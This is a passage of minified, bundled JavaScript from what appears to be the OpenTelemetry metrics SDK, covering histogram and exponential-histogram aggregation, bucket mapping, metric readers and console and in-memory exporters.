H=w.toPointValue(),J=A.type===kgA.InstrumentType.GAUGE||A.type===kgA.InstrumentType.UP_DOWN_COUNTER||A.type===kgA.InstrumentType.OBSERVABLE_GAUGE||A.type===kgA.InstrumentType.OBSERVABLE_UP_DOWN_COUNTER;return{attributes:z,startTime:w.startTime,endTime:Y,value:{min:H.hasMinMax?H.min:void 0,max:H.hasMinMax?H.max:void 0,sum:!J?H.sum:void 0,buckets:H.buckets,count:H.count}}})}}}xb7.HistogramAggregator=bb7});var Fb7=v((mb7)=>{Object.defineProperty(mb7,"__esModule",{value:!0});mb7.Buckets=void 0;class Wv6{backing;indexBase;indexStart;indexEnd;constructor(A=new Dv6,K=0,q=0,Y=0){this.backing=A,this.indexBase=K,this.indexStart=q,this.indexEnd=Y}get offset(){return this.indexStart}get length(){if(this.backing.length===0)return 0;if(this.indexEnd===this.indexStart&&this.at(0)===0)return 0;return this.indexEnd-this.indexStart+1}counts(){return Array.from({length:this.length},(A,K)=>this.at(K))}at(A){let K=this.indexBase-this.indexStart;if(A<K)A+=this.backing.length;return A-=K,this.backing.countAt(A)}incrementBucket(A,K){this.backing.increment(A,K)}decrementBucket(A,K){this.backing.decrement(A,K)}trim(){for(let A=0;A<this.length;A++)if(this.at(A)!==0){this.indexStart+=A;break}else if(A===this.length-1){this.indexStart=this.indexEnd=this.indexBase=0;return}for(let A=this.length-1;A>=0;A--)if(this.at(A)!==0){this.indexEnd-=this.length-A-1;break}this._rotate()}downscale(A){this._rotate();let K=1+this.indexEnd-this.indexStart,q=1<<A,Y=0,z=0;for(let w=this.indexStart;w<=this.indexEnd;){let H=w%q;if(H<0)H+=q;for(let J=H;J<q&&Y<K;J++)this._relocateBucket(z,Y),Y++,w++;z++}this.indexStart>>=A,this.indexEnd>>=A,this.indexBase=this.indexStart}clone(){return new Wv6(this.backing.clone(),this.indexBase,this.indexStart,this.indexEnd)}_rotate(){let A=this.indexBase-this.indexStart;if(A===0)return;else if(A>0)this.backing.reverse(0,this.backing.length),this.backing.reverse(0,A),this.backing.reverse(A,this.backing.length);else this.backing.reverse(0,this.backing.length),this.backing.reverse(0,this.backing.length+A);this.indexBase=this.indexStart}_relocateBucket(A,K){if(A===K)return;this.incrementBucket(A,this.backing.emptyBucket(K))}}mb7.Buckets=Wv6;class Dv6{_counts;constructor(A=[0]){this._counts=A}get length(){return this._counts.length}countAt(A){return this._counts[A]}growTo(A,K,q){let Y=Array(A).fill(0);Y.splice(q,this._counts.length-K,...this._counts.slice(K)),Y.splice(0,K,...this._counts.slice(0,K)),this._counts=Y}reverse(A,K){let q=Math.floor((A+K)/2)-A;for(let Y=0;Y<q;Y++){let z=this._counts[A+Y];this._counts[A+Y]=this._counts[K-Y-1],this._counts[K-Y-1]=z}}emptyBucket(A){let K=this._counts[A];return this._counts[A]=0,K}increment(A,K){this._counts[A]+=K}decrement(A,K){if(this._counts[A]>=K)this._counts[A]-=K;else this._counts[A]=0}clone(){return new Dv6([...this._counts])}}});var Mv6=v((Qb7)=>{Object.defineProperty(Qb7,"__esModule",{value:!0});Qb7.getSignificand=Qb7.getNormalBase2=Qb7.MIN_VALUE=Qb7.MAX_NORMAL_EXPONENT=Qb7.MIN_NORMAL_EXPONENT=Qb7.SIGNIFICAND_WIDTH=void 0;Qb7.SIGNIFICAND_WIDTH=52;var yeY=2146435072,IeY=1048575,jv6=1023;Qb7.MIN_NORMAL_EXPONENT=-jv6+1;Qb7.MAX_NORMAL_EXPONENT=jv6;Qb7.MIN_VALUE=Math.pow(2,-1022);function SeY(A){let K=new DataView(new ArrayBuffer(8));return K.setFloat64(0,A),((K.getUint32(0)&yeY)>>20)-jv6}Qb7.getNormalBase2=SeY;function heY(A){let K=new DataView(new ArrayBuffer(8));K.setFloat64(0,A);let q=K.getUint32(0),Y=K.getUint32(4);return(q&IeY)*Math.pow(2,32)+Y}Qb7.getSignificand=heY});var iW1=v((pb7)=>{Object.defineProperty(pb7,"__esModule",{value:!0});pb7.nextGreaterSquare=pb7.ldexp=void 0;function geY(A,K){if(A===0||A===Number.POSITIVE_INFINITY||A===Number.NEGATIVE_INFINITY||Number.isNaN(A))return A;return A*Math.pow(2,K)}pb7.ldexp=geY;function FeY(A){return A--,A|=A>>1,A|=A>>2,A|=A>>4,A|=A>>8,A|=A>>16,A++,A}pb7.nextGreaterSquare=FeY});var nW1=v((lb7)=>{Object.defineProperty(lb7,"__esModule",{value:!0});lb7.MappingError=void 0;class cb7 extends Error{}lb7.MappingError=cb7});var sb7=v((ob7)=>{Object.defineProperty(ob7,"__esModule",{value:!0});ob7.ExponentMapping=void 0;var pDA=Mv6(),UeY=iW1(),nb7=nW1();class rb7{_shift;constructor(A){this._shift=-A}mapToIndex(A){if(A<pDA.MIN_VALUE)return this._minNormalLowerBoundaryIndex();let K=pDA.getNormalBase2(A),q=this._rightShift(pDA.getSignificand(A)-1,pDA.SIGNIFICAND_WIDTH);return K+q>>this._shift}lowerBoundary(A){let K=this._minNormalLowerBoundaryIndex();if(A<K)throw new nb7.MappingError(`underflow: ${A} is < minimum lower boundary: ${K}`);let q=this._maxNormalLowerBoundaryIndex();if(A>q)throw new nb7.MappingError(`overflow: ${A} is > maximum lower boundary: ${q}`);return UeY.ldexp(1,A<<this._shift)}get scale(){if(this._shift===0)return 0;return-this._shift}_minNormalLowerBoundaryIndex(){let A=pDA.MIN_NORMAL_EXPONENT>>this._shift;if(this._shift<2)A--;return A}_maxNormalLowerBoundaryIndex(){return pDA.MAX_NORMAL_EXPONENT>>this._shift}_rightShift(A,K){return Math.floor(A*Math.pow(2,-K))}}ob7.ExponentMapping=rb7});var Yx7=v((Kx7)=>{Object.defineProperty(Kx7,"__esModule",{value:!0});Kx7.LogarithmMapping=void 0;var dDA=Mv6(),tb7=iW1(),eb7=nW1();class Ax7{_scale;_scaleFactor;_inverseFactor;constructor(A){this._scale=A,this._scaleFactor=tb7.ldexp(Math.LOG2E,A),this._inverseFactor=tb7.ldexp(Math.LN2,-A)}mapToIndex(A){if(A<=dDA.MIN_VALUE)return this._minNormalLowerBoundaryIndex()-1;if(dDA.getSignificand(A)===0)return(dDA.getNormalBase2(A)<<this._scale)-1;let K=Math.floor(Math.log(A)*this._scaleFactor),q=this._maxNormalLowerBoundaryIndex();if(K>=q)return q;return K}lowerBoundary(A){let K=this._maxNormalLowerBoundaryIndex();if(A>=K){if(A===K)return 2*Math.exp((A-(1<<this._scale))/this._scaleFactor);throw new eb7.MappingError(`overflow: ${A} is > maximum lower boundary: ${K}`)}let q=this._minNormalLowerBoundaryIndex();if(A<=q){if(A===q)return dDA.MIN_VALUE;else if(A===q-1)return Math.exp((A+(1<<this._scale))/this._scaleFactor)/2;throw new eb7.MappingError(`overflow: ${A} is < minimum lower boundary: ${q}`)}return Math.exp(A*this._inverseFactor)}get scale(){return this._scale}_minNormalLowerBoundaryIndex(){return dDA.MIN_NORMAL_EXPONENT<<this._scale}_maxNormalLowerBoundaryIndex(){return(dDA.MAX_NORMAL_EXPONENT+1<<this._scale)-1}}Kx7.LogarithmMapping=Ax7});var Ox7=v((Hx7)=>{Object.defineProperty(Hx7,"__esModule",{value:!0});Hx7.getMapping=void 0;var peY=sb7(),deY=Yx7(),ceY=nW1(),zx7=-10,wx7=20,leY=Array.from({length:31},(A,K)=>{if(K>10)return new deY.LogarithmMapping(K-10);return new peY.ExponentMapping(K-10)});function ieY(A){if(A>wx7||A<zx7)throw new ceY.MappingError(`expected scale >= ${zx7} && <= ${wx7}, got: ${A}`);return leY[A+10]}Hx7.getMapping=ieY});var Wx7=v((Gx7)=>{Object.defineProperty(Gx7,"__esModule",{value:!0});Gx7.ExponentialHistogramAggregator=Gx7.ExponentialHistogramAccumulation=void 0;var neY=UDA(),LgA=as(),reY=RK(),Xx7=Fb7(),$x7=Ox7(),oeY=iW1();class cDA{low;high;static combine(A,K){return new cDA(Math.min(A.low,K.low),Math.max(A.high,K.high))}constructor(A,K){this.low=A,this.high=K}}var aeY=20,seY=160,Pv6=2;class rW1{startTime;_maxSize;_recordMinMax;_sum;_count;_zeroCount;_min;_max;_positive;_negative;_mapping;constructor(A,K=seY,q=!0,Y=0,z=0,w=0,H=Number.POSITIVE_INFINITY,J=Number.NEGATIVE_INFINITY,O=new Xx7.Buckets,X=new Xx7.Buckets,$=(0,$x7.getMapping)(aeY)){if(this.startTime=A,this._maxSize=K,this._recordMinMax=q,this._sum=Y,this._count=z,this._zeroCount=w,this._min=H,this._max=J,this._positive=O,this._negative=X,this._mapping=$,this._maxSize<Pv6)reY.diag.warn(`Exponential Histogram Max Size set to ${this._maxSize}, changing to the minimum size of: ${Pv6}`),this._maxSize=Pv6}record(A){this.updateByIncrement(A,1)}setStartTime(A){this.startTime=A}toPointValue(){return{hasMinMax:this._recordMinMax,min:this.min,max:this.max,sum:this.sum,positive:{offset:this.positive.offset,bucketCounts:this.positive.counts()},negative:{offset:this.negative.offset,bucketCounts:this.negative.counts()},count:this.count,scale:this.scale,zeroCount:this.zeroCount}}get sum(){return this._sum}get min(){return this._min}get max(){return this._max}get count(){return this._count}get zeroCount(){return this._zeroCount}get scale(){if(this._count===this._zeroCount)return 0;return this._mapping.scale}get positive(){return this._positive}get negative(){return this._negative}updateByIncrement(A,K){if(Number.isNaN(A))return;if(A>this._max)this._max=A;if(A<this._min)this._min=A;if(this._count+=K,A===0){this._zeroCount+=K;return}if(this._sum+=A*K,A>0)this._updateBuckets(this._positive,A,K);else this._updateBuckets(this._negative,-A,K)}merge(A){if(this._count===0)this._min=A.min,this._max=A.max;else if(A.count!==0){if(A.min<this.min)this._min=A.min;if(A.max>this.max)this._max=A.max}this.startTime=A.startTime,this._sum+=A.sum,this._count+=A.count,this._zeroCount+=A.zeroCount;let K=this._minScale(A);this._downscale(this.scale-K),this._mergeBuckets(this.positive,A,A.positive,K),this._mergeBuckets(this.negative,A,A.negative,K)}diff(A){this._min=1/0,this._max=-1/0,this._sum-=A.sum,this._count-=A.count,this._zeroCount-=A.zeroCount;let K=this._minScale(A);this._downscale(this.scale-K),this._diffBuckets(this.positive,A,A.positive,K),this._diffBuckets(this.negative,A,A.negative,K)}clone(){return new rW1(this.startTime,this._maxSize,this._recordMinMax,this._sum,this._count,this._zeroCount,this._min,this._max,this.positive.clone(),this.negative.clone(),this._mapping)}_updateBuckets(A,K,q){let Y=this._mapping.mapToIndex(K),z=!1,w=0,H=0;if(A.length===0)A.indexStart=Y,A.indexEnd=A.indexStart,A.indexBase=A.indexStart;else if(Y<A.indexStart&&A.indexEnd-Y>=this._maxSize)z=!0,H=Y,w=A.indexEnd;else if(Y>A.indexEnd&&Y-A.indexStart>=this._maxSize)z=!0,H=A.indexStart,w=Y;if(z){let J=this._changeScale(w,H);this._downscale(J),Y=this._mapping.mapToIndex(K)}this._incrementIndexBy(A,Y,q)}_incrementIndexBy(A,K,q){if(q===0)return;if(A.length===0)A.indexStart=A.indexEnd=A.indexBase=K;if(K<A.indexStart){let z=A.indexEnd-K;if(z>=A.backing.length)this._grow(A,z+1);A.indexStart=K}else if(K>A.indexEnd){let z=K-A.indexStart;if(z>=A.backing.length)this._grow(A,z+1);A.indexEnd=K}let Y=K-A.indexBase;if(Y<0)Y+=A.backing.length;A.incrementBucket(Y,q)}_grow(A,K){let q=A.backing.length,Y=A.indexBase-A.indexStart,z=q-Y,w=(0,oeY.nextGreaterSquare)(K);if(w>this._maxSize)w=this._maxSize;let H=w-Y;A.backing.growTo(w,z,H)}_changeScale(A,K){let q=0;while(A-K>=this._maxSize)A>>=1,K>>=1,q++;return q}_downscale(A){if(A===0)return;if(A<0)throw Error(`impossible change of scale: ${this.scale}`);let K=this._mapping.scale-A;this._positive.downscale(A),this._negative.downscale(A),this._mapping=(0,$x7.getMapping)(K)}_minScale(A){let K=Math.min(this.scale,A.scale),q=cDA.combine(this._highLowAtScale(this.positive,this.scale,K),this._highLowAtScale(A.positive,A.scale,K)),Y=cDA.combine(this._highLowAtScale(this.negative,this.scale,K),this._highLowAtScale(A.negative,A.scale,K));return Math.min(K-this._changeScale(q.high,q.low),K-this._changeScale(Y.high,Y.low))}_highLowAtScale(A,K,q){if(A.length===0)return new cDA(0,-1);let Y=K-q;return new cDA(A.indexStart>>Y,A.indexEnd>>Y)}_mergeBuckets(A,K,q,Y){let z=q.offset,w=K.scale-Y;for(let H=0;H<q.length;H++)this._incrementIndexBy(A,z+H>>w,q.at(H))}_diffBuckets(A,K,q,Y){let z=q.offset,w=K.scale-Y;for(let H=0;H<q.length;H++){let O=(z+H>>w)-A.indexBase;if(O<0)O+=A.backing.length;A.decrementBucket(O,q.at(H))}A.trim()}}Gx7.ExponentialHistogramAccumulation=rW1;class _x7{_maxSize;_recordMinMax;kind=neY.AggregatorKind.EXPONENTIAL_HISTOGRAM;constructor(A,K){this._maxSize=A,this._recordMinMax=K}createAccumulation(A){return new rW1(A,this._maxSize,this._recordMinMax)}merge(A,K){let q=K.clone();return q.merge(A),q}diff(A,K){let q=K.clone();return q.diff(A),q}toMetricData(A,K,q,Y){return{descriptor:A,aggregationTemporality:K,dataPointType:LgA.DataPointType.EXPONENTIAL_HISTOGRAM,dataPoints:q.map(([z,w])=>{let H=w.toPointValue(),J=A.type===LgA.InstrumentType.GAUGE||A.type===LgA.InstrumentType.UP_DOWN_COUNTER||A.type===LgA.InstrumentType.OBSERVABLE_GAUGE||A.type===LgA.InstrumentType.OBSERVABLE_UP_DOWN_COUNTER;return{attributes:z,startTime:w.startTime,endTime:Y,value:{min:H.hasMinMax?H.min:void 0,max:H.hasMinMax?H.max:void 0,sum:!J?H.sum:void 0,positive:{offset:H.positive.offset,bucketCounts:H.positive.bucketCounts},negative:{offset:H.negative.offset,bucketCounts:H.negative.bucketCounts},count:H.count,scale:H.scale,zeroCount:H.zeroCount}}})}}}Gx7.ExponentialHistogramAggregator=_x7});var Px7=v((jx7)=>{Object.defineProperty(jx7,"__esModule",{value:!0});jx7.LastValueAggregator=jx7.LastValueAccumulation=void 0;var eeY=UDA(),RgA=P9(),AA2=as();class ygA{startTime;_current;sampleTime;constructor(A,K=0,q=[0,0]){this.startTime=A,this._current=K,this.sampleTime=q}record(A){this._current=A,this.sampleTime=(0,RgA.millisToHrTime)(Date.now())}setStartTime(A){this.startTime=A}toPointValue(){return this._current}}jx7.LastValueAccumulation=ygA;class Dx7{kind=eeY.AggregatorKind.LAST_VALUE;createAccumulation(A){return new ygA(A)}merge(A,K){let q=(0,RgA.hrTimeToMicroseconds)(K.sampleTime)>=(0,RgA.hrTimeToMicroseconds)(A.sampleTime)?K:A;return new ygA(A.startTime,q.toPointValue(),q.sampleTime)}diff(A,K){let q=(0,RgA.hrTimeToMicroseconds)(K.sampleTime)>=(0,RgA.hrTimeToMicroseconds)(A.sampleTime)?K:A;return new ygA(K.startTime,q.toPointValue(),q.sampleTime)}toMetricData(A,K,q,Y){return{descriptor:A,aggregationTemporality:K,dataPointType:AA2.DataPointType.GAUGE,dataPoints:q.map(([z,w])=>{return{attributes:z,startTime:w.startTime,endTime:Y,value:w.toPointValue()}})}}}jx7.LastValueAggregator=Dx7});var Tx7=v((fx7)=>{Object.defineProperty(fx7,"__esModule",{value:!0});fx7.SumAggregator=fx7.SumAccumulation=void 0;var qA2=UDA(),YA2=as();class B5A{startTime;monotonic;_current;reset;constructor(A,K,q=0,Y=!1){this.startTime=A,this.monotonic=K,this._current=q,this.reset=Y}record(A){if(this.monotonic&&A<0)return;this._current+=A}setStartTime(A){this.startTime=A}toPointValue(){return this._current}}fx7.SumAccumulation=B5A;class Vx7{monotonic;kind=qA2.AggregatorKind.SUM;constructor(A){this.monotonic=A}createAccumulation(A){return new B5A(A,this.monotonic)}merge(A,K){let q=A.toPointValue(),Y=K.toPointValue();if(K.reset)return new B5A(K.startTime,this.monotonic,Y,K.reset);return new B5A(A.startTime,this.monotonic,q+Y)}diff(A,K){let q=A.toPointValue(),Y=K.toPointValue();if(this.monotonic&&q>Y)return new B5A(K.startTime,this.monotonic,Y,!0);return new B5A(K.startTime,this.monotonic,Y-q)}toMetricData(A,K,q,Y){return{descriptor:A,aggregationTemporality:K,dataPointType:YA2.DataPointType.SUM,dataPoints:q.map(([z,w])=>{return{attributes:z,startTime:w.startTime,endTime:Y,value:w.toPointValue()}}),isMonotonic:this.monotonic}}}fx7.SumAggregator=Vx7});var Lx7=v((ZS)=>{Object.defineProperty(ZS,"__esModule",{value:!0});ZS.SumAggregator=ZS.SumAccumulation=ZS.LastValueAggregator=ZS.LastValueAccumulation=ZS.ExponentialHistogramAggregator=ZS.ExponentialHistogramAccumulation=ZS.HistogramAggregator=ZS.HistogramAccumulation=ZS.DropAggregator=void 0;var wA2=hb7();Object.defineProperty(ZS,"DropAggregator",{enumerable:!0,get:function(){return wA2.DropAggregator}});var vx7=Bb7();Object.defineProperty(ZS,"HistogramAccumulation",{enumerable:!0,get:function(){return vx7.HistogramAccumulation}});Object.defineProperty(ZS,"HistogramAggregator",{enumerable:!0,get:function(){return vx7.HistogramAggregator}});var Ex7=Wx7();Object.defineProperty(ZS,"ExponentialHistogramAccumulation",{enumerable:!0,get:function(){return Ex7.ExponentialHistogramAccumulation}});Object.defineProperty(ZS,"ExponentialHistogramAggregator",{enumerable:!0,get:function(){return Ex7.ExponentialHistogramAggregator}});var kx7=Px7();Object.defineProperty(ZS,"LastValueAccumulation",{enumerable:!0,get:function(){return kx7.LastValueAccumulation}});Object.defineProperty(ZS,"LastValueAggregator",{enumerable:!0,get:function(){return kx7.LastValueAggregator}});var Cx7=Tx7();Object.defineProperty(ZS,"SumAccumulation",{enumerable:!0,get:function(){return Cx7.SumAccumulation}});Object.defineProperty(ZS,"SumAggregator",{enumerable:!0,get:function(){return Cx7.SumAggregator}})});var xx7=v((Rx7)=>{Object.defineProperty(Rx7,"__esModule",{value:!0});Rx7.DEFAULT_AGGREGATION=Rx7.EXPONENTIAL_HISTOGRAM_AGGREGATION=Rx7.HISTOGRAM_AGGREGATION=Rx7.LAST_VALUE_AGGREGATION=Rx7.SUM_AGGREGATION=Rx7.DROP_AGGREGATION=Rx7.DefaultAggregation=Rx7.ExponentialHistogramAggregation=Rx7.ExplicitBucketHistogramAggregation=Rx7.HistogramAggregation=Rx7.LastValueAggregation=Rx7.SumAggregation=Rx7.DropAggregation=void 0;var JA2=RK(),m5A=Lx7(),vB=as();class oW1{static DEFAULT_INSTANCE=new m5A.DropAggregator;createAggregator(A){return oW1.DEFAULT_INSTANCE}}Rx7.DropAggregation=oW1;class IgA{static MONOTONIC_INSTANCE=new m5A.SumAggregator(!0);static NON_MONOTONIC_INSTANCE=new m5A.SumAggregator(!1);createAggregator(A){switch(A.type){case vB.InstrumentType.COUNTER:case vB.InstrumentType.OBSERVABLE_COUNTER:case vB.InstrumentType.HISTOGRAM:return IgA.MONOTONIC_INSTANCE;default:return IgA.NON_MONOTONIC_INSTANCE}}}Rx7.SumAggregation=IgA;class aW1{static DEFAULT_INSTANCE=new m5A.LastValueAggregator;createAggregator(A){return aW1.DEFAULT_INSTANCE}}Rx7.LastValueAggregation=aW1;class sW1{static DEFAULT_INSTANCE=new m5A.HistogramAggregator([0,5,10,25,50,75,100,250,500,750,1000,2500,5000,7500,1e4],!0);createAggregator(A){return sW1.DEFAULT_INSTANCE}}Rx7.HistogramAggregation=sW1;class Vv6{_recordMinMax;_boundaries;constructor(A,K=!0){if(this._recordMinMax=K,A==null)throw Error("ExplicitBucketHistogramAggregation should be created with explicit boundaries, if a single bucket histogram is required, please pass an empty array");A=A.concat(),A=A.sort((z,w)=>z-w);let q=A.lastIndexOf(-1/0),Y=A.indexOf(1/0);if(Y===-1)Y=void 0;this._boundaries=A.slice(q+1,Y)}createAggregator(A){return new m5A.HistogramAggregator(this._boundaries,this._recordMinMax)}}Rx7.ExplicitBucketHistogramAggregation=Vv6;class fv6{_maxSize;_recordMinMax;constructor(A=160,K=!0){this._maxSize=A,this._recordMinMax=K}createAggregator(A){return new m5A.ExponentialHistogramAggregator(this._maxSize,this._recordMinMax)}}Rx7.ExponentialHistogramAggregation=fv6;class Nv6{_resolve(A){switch(A.type){case vB.InstrumentType.COUNTER:case vB.InstrumentType.UP_DOWN_COUNTER:case vB.InstrumentType.OBSERVABLE_COUNTER:case vB.InstrumentType.OBSERVABLE_UP_DOWN_COUNTER:return Rx7.SUM_AGGREGATION;case vB.InstrumentType.GAUGE:case vB.InstrumentType.OBSERVABLE_GAUGE:return Rx7.LAST_VALUE_AGGREGATION;case vB.InstrumentType.HISTOGRAM:{if(A.advice.explicitBucketBoundaries)return new Vv6(A.advice.explicitBucketBoundaries);return Rx7.HISTOGRAM_AGGREGATION}}return JA2.diag.warn(`Unable to recognize instrument type: ${A.type}`),Rx7.DROP_AGGREGATION}createAggregator(A){return this._resolve(A).createAggregator(A)}}Rx7.DefaultAggregation=Nv6;Rx7.DROP_AGGREGATION=new oW1;Rx7.SUM_AGGREGATION=new IgA;Rx7.LAST_VALUE_AGGREGATION=new aW1;Rx7.HISTOGRAM_AGGREGATION=new sW1;Rx7.EXPONENTIAL_HISTOGRAM_AGGREGATION=new fv6;Rx7.DEFAULT_AGGREGATION=new Nv6});var SgA=v((Bx7)=>{Object.defineProperty(Bx7,"__esModule",{value:!0});Bx7.toAggregation=Bx7.AggregationType=void 0;var g5A=xx7(),F5A;(function(A){A[A.DEFAULT=0]="DEFAULT",A[A.DROP=1]="DROP",A[A.SUM=2]="SUM",A[A.LAST_VALUE=3]="LAST_VALUE",A[A.EXPLICIT_BUCKET_HISTOGRAM=4]="EXPLICIT_BUCKET_HISTOGRAM",A[A.EXPONENTIAL_HISTOGRAM=5]="EXPONENTIAL_HISTOGRAM"})(F5A=Bx7.AggregationType||(Bx7.AggregationType={}));function jA2(A){switch(A.type){case F5A.DEFAULT:return g5A.DEFAULT_AGGREGATION;case F5A.DROP:return g5A.DROP_AGGREGATION;case F5A.SUM:return g5A.SUM_AGGREGATION;case F5A.LAST_VALUE:return g5A.LAST_VALUE_AGGREGATION;case F5A.EXPONENTIAL_HISTOGRAM:{let K=A;return new g5A.ExponentialHistogramAggregation(K.options?.maxSize,K.options?.recordMinMax)}case F5A.EXPLICIT_BUCKET_HISTOGRAM:{let K=A;if(K.options==null)return g5A.HISTOGRAM_AGGREGATION;else return new g5A.ExplicitBucketHistogramAggregation(K.options?.boundaries,K.options?.recordMinMax)}default:throw Error("Unsupported Aggregation")}}Bx7.toAggregation=jA2});var Tv6=v((gx7)=>{Object.defineProperty(gx7,"__esModule",{value:!0});gx7.DEFAULT_AGGREGATION_TEMPORALITY_SELECTOR=gx7.DEFAULT_AGGREGATION_SELECTOR=void 0;var MA2=cW1(),PA2=SgA(),VA2=(A)=>{return{type:PA2.AggregationType.DEFAULT}};gx7.DEFAULT_AGGREGATION_SELECTOR=VA2;var fA2=(A)=>MA2.AggregationTemporality.CUMULATIVE;gx7.DEFAULT_AGGREGATION_TEMPORALITY_SELECTOR=fA2});var vv6=v((dx7)=>{Object.defineProperty(dx7,"__esModule",{value:!0});dx7.MetricReader=void 0;var Qx7=RK(),tW1=GS(),Ux7=Tv6();class px7{_shutdown=!1;_metricProducers;_sdkMetricProducer;_aggregationTemporalitySelector;_aggregationSelector;_cardinalitySelector;constructor(A){this._aggregationSelector=A?.aggregationSelector??Ux7.DEFAULT_AGGREGATION_SELECTOR,this._aggregationTemporalitySelector=A?.aggregationTemporalitySelector??Ux7.DEFAULT_AGGREGATION_TEMPORALITY_SELECTOR,this._metricProducers=A?.metricProducers??[],this._cardinalitySelector=A?.cardinalitySelector}setMetricProducer(A){if(this._sdkMetricProducer)throw Error("MetricReader can not be bound to a MeterProvider again.");this._sdkMetricProducer=A,this.onInitialized()}selectAggregation(A){return this._aggregationSelector(A)}selectAggregationTemporality(A){return this._aggregationTemporalitySelector(A)}selectCardinalityLimit(A){return this._cardinalitySelector?this._cardinalitySelector(A):2000}onInitialized(){}async collect(A){if(this._sdkMetricProducer===void 0)throw Error("MetricReader is not bound to a MetricProducer");if(this._shutdown)throw Error("MetricReader is shutdown");let[K,...q]=await Promise.all([this._sdkMetricProducer.collect({timeoutMillis:A?.timeoutMillis}),...this._metricProducers.map((H)=>H.collect({timeoutMillis:A?.timeoutMillis}))]),Y=K.errors.concat((0,tW1.FlatMap)(q,(H)=>H.errors)),z=K.resourceMetrics.resource,w=K.resourceMetrics.scopeMetrics.concat((0,tW1.FlatMap)(q,(H)=>H.resourceMetrics.scopeMetrics));return{resourceMetrics:{resource:z,scopeMetrics:w},errors:Y}}async shutdown(A){if(this._shutdown){Qx7.diag.error("Cannot call shutdown twice.");return}if(A?.timeoutMillis==null)await this.onShutdown();else await(0,tW1.callWithTimeout)(this.onShutdown(),A.timeoutMillis);this._shutdown=!0}async forceFlush(A){if(this._shutdown){Qx7.diag.warn("Cannot forceFlush on already shutdown MetricReader.");return}if(A?.timeoutMillis==null){await this.onForceFlush();return}await(0,tW1.callWithTimeout)(this.onForceFlush(),A.timeoutMillis)}}dx7.MetricReader=px7});var ox7=v((nx7)=>{Object.defineProperty(nx7,"__esModule",{value:!0});nx7.PeriodicExportingMetricReader=void 0;var Ev6=RK(),eW1=P9(),TA2=vv6(),lx7=GS();class ix7 extends TA2.MetricReader{_interval;_exporter;_exportInterval;_exportTimeout;constructor(A){super({aggregationSelector:A.exporter.selectAggregation?.bind(A.exporter),aggregationTemporalitySelector:A.exporter.selectAggregationTemporality?.bind(A.exporter),metricProducers:A.metricProducers});if(A.exportIntervalMillis!==void 0&&A.exportIntervalMillis<=0)throw Error("exportIntervalMillis must be greater than 0");if(A.exportTimeoutMillis!==void 0&&A.exportTimeoutMillis<=0)throw Error("exportTimeoutMillis must be greater than 0");if(A.exportTimeoutMillis!==void 0&&A.exportIntervalMillis!==void 0&&A.exportIntervalMillis<A.exportTimeoutMillis)throw Error("exportIntervalMillis must be greater than or equal to exportTimeoutMillis");this._exportInterval=A.exportIntervalMillis??60000,this._exportTimeout=A.exportTimeoutMillis??30000,this._exporter=A.exporter}async _runOnce(){try{await(0,lx7.callWithTimeout)(this._doRun(),this._exportTimeout)}catch(A){if(A instanceof lx7.TimeoutError){Ev6.diag.error("Export took longer than %s milliseconds and timed out.",this._exportTimeout);return}(0,eW1.globalErrorHandler)(A)}}async _doRun(){let{resourceMetrics:A,errors:K}=await this.collect({timeoutMillis:this._exportTimeout});if(K.length>0)Ev6.diag.error("PeriodicExportingMetricReader: metrics collection errors",...K);if(A.resource.asyncAttributesPending)try{await A.resource.waitForAsyncAttributes?.()}catch(Y){Ev6.diag.debug("Error while resolving async portion of resource: ",Y),(0,eW1.globalErrorHandler)(Y)}if(A.scopeMetrics.length===0)return;let q=await eW1.internal._export(this._exporter,A);if(q.code!==eW1.ExportResultCode.SUCCESS)throw Error(`PeriodicExportingMetricReader: metrics export failed (error ${q.error})`)}onInitialized(){if(this._interval=setInterval(()=>{this._runOnce()},this._exportInterval),typeof this._interval!=="number")this._interval.unref()}async onForceFlush(){await this._runOnce(),await this._exporter.forceFlush()}async onShutdown(){if(this._interval)clearInterval(this._interval);await this.onForceFlush(),await this._exporter.shutdown()}}nx7.PeriodicExportingMetricReader=ix7});var Au7=v((tx7)=>{Object.defineProperty(tx7,"__esModule",{value:!0});tx7.InMemoryMetricExporter=void 0;var ax7=P9();class sx7{_shutdown=!1;_aggregationTemporality;_metrics=[];constructor(A){this._aggregationTemporality=A}export(A,K){if(this._shutdown){setTimeout(()=>K({code:ax7.ExportResultCode.FAILED}),0);return}this._metrics.push(A),setTimeout(()=>K({code:ax7.ExportResultCode.SUCCESS}),0)}getMetrics(){return this._metrics}forceFlush(){return Promise.resolve()}reset(){this._metrics=[]}selectAggregationTemporality(A){return this._aggregationTemporality}shutdown(){return this._shutdown=!0,Promise.resolve()}}tx7.InMemoryMetricExporter=sx7});var zu7=v((qu7)=>{Object.defineProperty(qu7,"__esModule",{value:!0});qu7.ConsoleMetricExporter=void 0;var Ku7=P9(),vA2=Tv6();class kv6{_shutdown=!1;_temporalitySelector;constructor(A){this._temporalitySelector=A?.temporalitySelector??vA2.DEFAULT_AGGREGATION_TEMPORALITY_SELECTOR}export(A,K){if(this._shutdown){setImmediate(K,{code:Ku7.ExportResultCode.FAILED});return}return kv6._sendMetrics(A,K)}forceFlush(){return Promise.resolve()}selectAggregationTemporality(A){return this._temporalitySelector(A)}shutdown(){return this._shutdown=!0,Promise.resolve()}static _sendMetrics(A,K){for(let q of A.scopeMetrics)for(let Y of q.metrics)console.dir({descriptor:Y.descriptor,dataPointType:Y.dataPointType,dataPoints:Y.dataPoints},{depth:null});K({code:Ku7.ExportResultCode.SUCCESS})}}qu7.ConsoleMetricExporter=kv6});var Ou7=v((Hu7)=>{Object.defineProperty(Hu7,"__esModule",{value:!0});Hu7.ViewRegistry=void 0;class wu7{_registeredViews=[];addView(A){this._registeredViews.push(A)}findViews(A,K){return this._registeredViews.filter((Y)=>{return this._matchInstrument(Y.instrumentSelector,A)&&this._matchMeter(Y.meterSelector,K)})}_matchInstrument(A,K){return(A.getType()===void 0||K.type===A.getType())&&A.getNameFilter().match(K.name)&&A.getUnitFilter().match(K.unit)}_matchMeter(A,K){return A.getNameFilter().match(K.name)&&(K.version===void 0||A.getVersionFilter().match(K.version))&&(K.schemaUrl===void 0||A.getSchemaUrlFilter().match(K.schemaUrl))}}Hu7.ViewRegistry=wu7});var hgA=v((_u7)=>{Object.defineProperty(_u7,"__esModule",{value:!0});_u7.isValidName=_u7.isDescriptorCompatibleWith=_u7.createInstrumentDescriptorWithView=_u7.createInstrumentDescriptor=void 0;var Xu7=RK(),EA2=GS();function kA2(A,K,q){if(!$u7(A))Xu7.diag.warn(`Invalid metric name: "${A}". The metric name should be a ASCII string with a length no greater than 255 